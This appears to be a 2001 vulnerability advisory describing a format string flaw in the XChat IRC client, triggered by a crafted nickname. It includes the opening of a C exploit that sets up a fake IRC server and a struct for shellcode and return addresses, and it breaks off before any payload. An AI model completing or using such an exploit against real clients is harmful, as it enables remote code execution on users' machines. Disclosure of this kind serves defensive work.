X-Chat Vulnerable to a Format String Attack (nickname)
27 May. 2001
Summary
XChat is an IRC client for UNIX operating systems. A format string vulnerability in the client allows remote attackers to format their nickname in a special way that will cause XChat to execute arbitrary code.
Credit:
The information has been provided by Sector X.
Exploit:
/* X-Chat 1.2.x format bug exploit by sectorx of xor
* THIS IS CONFIDENTIAL PROPERTY OF XOR TEAM, AND MAY NOT BE DISTRIBUTED
*
* *note* this is a beta version, expect more of this.
*/
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <sys/time.h>
#define VULNERABLE 1
typedef struct {
char name[80];
int got;
int ret; /* this should be a stack/data segment address where we
* upload the shellcode to, and execute it */
int offset;
int len;
} vuln;
int main(int argc, char *argv[])
{
char *ircd = "haxornet";
int sys;
fprintf(stderr, "X-Chat 1.2.x exploit (c) sectorx of xor\n");
fprintf(stderr, "\E[1m\E[31mTHIS IS CONFIDENTIAL PROPERTY OF XOR TEAM, AND MAY NOT BE DISTRIBUTED.\033[0m\n\n");
/* connect user to fake server */
printf("NOTICE AUTH :*** Welcome to my ircd\n");
printf(":%s 001 user1 :Welcome to %1$s\n",ircd);
printf(":%s 002 user1 :Your host is %1$s\n",ircd);
printf(":%s 376 user1 :End of /MOTD command.\n",ircd);
printf(":user1 MODE user1 :+i\n");
